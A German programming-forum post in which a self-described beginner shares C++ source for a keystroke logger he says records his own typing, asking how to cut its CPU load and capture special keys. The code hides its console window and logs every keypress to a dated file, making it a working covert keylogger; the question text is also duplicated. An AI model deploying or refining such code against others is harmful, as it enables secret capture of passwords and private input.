Guten Abend,
Ich bin PHP Programmier und beschäftige mich in der Freizeit mit C++.
Bin noch ein anfänger also bitte zersägt mich nicht gleich
.
Ich habe für die Arbeit ein art Keylogger in C++ programmiert um meine Tastenschläge zu protokolieren und zu zählen. Das klappt mitlerweile auch richtig gut. (anfänglich hatte ich die Konsole noch offen und arge probleme mit der speicherung der logs)
Den Code selbst hab ich nicht komplett selbst erstellt ich habe mich schon mehrer forum und webseiten informiert.
Nun hab ich nur noch ein paar Probleme und wende mich zu euch.
Wenn ich das Programm am laufen habe, frist es 50% der Prozessorleistung. (Mein verdacht es liegt an der WHILE schleife)
dabei ist mir aufgefallen, wenn ich das Programm 2 mal Ausführe keine 100 prozentige garantie besteht das alle Buchstaben aufgeführt werden, dass heißt in der praxis kommt der prozessor einmal ans maximum nimmt er nicht mehr alle eingaben auf. Kann man dies vlt irgendwie unterbinden bzw. das das Programm generell weniger Prozessorleistung frisst?
Habt ihr da Ideen?
Auserdem nimmt er nicht alle Keys auf zum Beispiel ALT oder STRG oder F1 - F12 werden durch normale Buchstaben ersetzt, wobei ich da schon einiges in diesem Forum darüber gelesen habe.
Momentan benutze ich für das auslesen der Eingaben GetAsyncKeyState habe aber schon von der GetKeyboardState Funktion gehört. Gibt es für diese Funktion ein einfaches Beispiel wie sie Funktioniert?
Ich bin PHP Programmier und beschäftige mich in der Freizeit mit C++.
Bin noch ein anfänger also bitte zersägt mich nicht gleich

Ich habe für die Arbeit ein art Keylogger in C++ programmiert um meine Tastenschläge zu protokolieren und zu zählen. Das klappt mitlerweile auch richtig gut. (anfänglich hatte ich die Konsole noch offen und arge probleme mit der speicherung der logs)
Den Code selbst hab ich nicht komplett selbst erstellt ich habe mich schon mehrer forum und webseiten informiert.
Nun hab ich nur noch ein paar Probleme und wende mich zu euch.
Wenn ich das Programm am laufen habe, frist es 50% der Prozessorleistung. (Mein verdacht es liegt an der WHILE schleife)
dabei ist mir aufgefallen, wenn ich das Programm 2 mal Ausführe keine 100 prozentige garantie besteht das alle Buchstaben aufgeführt werden, dass heißt in der praxis kommt der prozessor einmal ans maximum nimmt er nicht mehr alle eingaben auf. Kann man dies vlt irgendwie unterbinden bzw. das das Programm generell weniger Prozessorleistung frisst?
Habt ihr da Ideen?
Auserdem nimmt er nicht alle Keys auf zum Beispiel ALT oder STRG oder F1 - F12 werden durch normale Buchstaben ersetzt, wobei ich da schon einiges in diesem Forum darüber gelesen habe.
Momentan benutze ich für das auslesen der Eingaben GetAsyncKeyState habe aber schon von der GetKeyboardState Funktion gehört. Gibt es für diese Funktion ein einfaches Beispiel wie sie Funktioniert?
Code:
////////////
// Windows consolen fenster Unsichbar
////////////
int WINAPI WinMain(HINSTANCE hI, HINSTANCE, TCHAR*, int)
{
char Titel[500];
HWND hWnd = NULL;
GetConsoleTitle(Titel, 500);
hWnd = FindWindowA(NULL, Titel);
ShowWindow(hWnd, SW_HIDE);
////////////
// Variablen deklarieren
////////////
SHORT KeyState;
SHORT ArrKeyState[256];
long CheckSum;
long OldCheckSum;
OldCheckSum = 987654; // dummy
////////////
// Zeit für Dateienname erstellen
////////////
time_t now = time(0);
char timestamp[22];
strftime(timestamp, 22, "%d.%m.%Y", localtime(&now));
string newtimer = timestamp;
string newtexttimer = newtimer+= ".txt";
////////////
// Editor öffnen und zum Überschreiben zwingen
////////////
fstream datei;
////////////
// Schleife zum Erkennen der Tasteneingabe
////////////
while (1)
{
datei.open(newtexttimer, ios::app);
CheckSum = 0;
for (int i = 0; i < 256; i++)
{
KeyState = GetAsyncKeyState(i);
CheckSum += KeyState;
ArrKeyState[i] = KeyState;
}
if (OldCheckSum != CheckSum)
{
for (int i = 0; i < 256; i++)
{
// -32767 = KeyDown
if (ArrKeyState[i] == -32767)
{
if(i == 1){
datei << "lmt ";
}
else{
if (i == 2){
datei << "rmt ";
}
else{
datei << (char) i << " ";
}
}
}
}
OldCheckSum = CheckSum;
}
datei.close();
}
}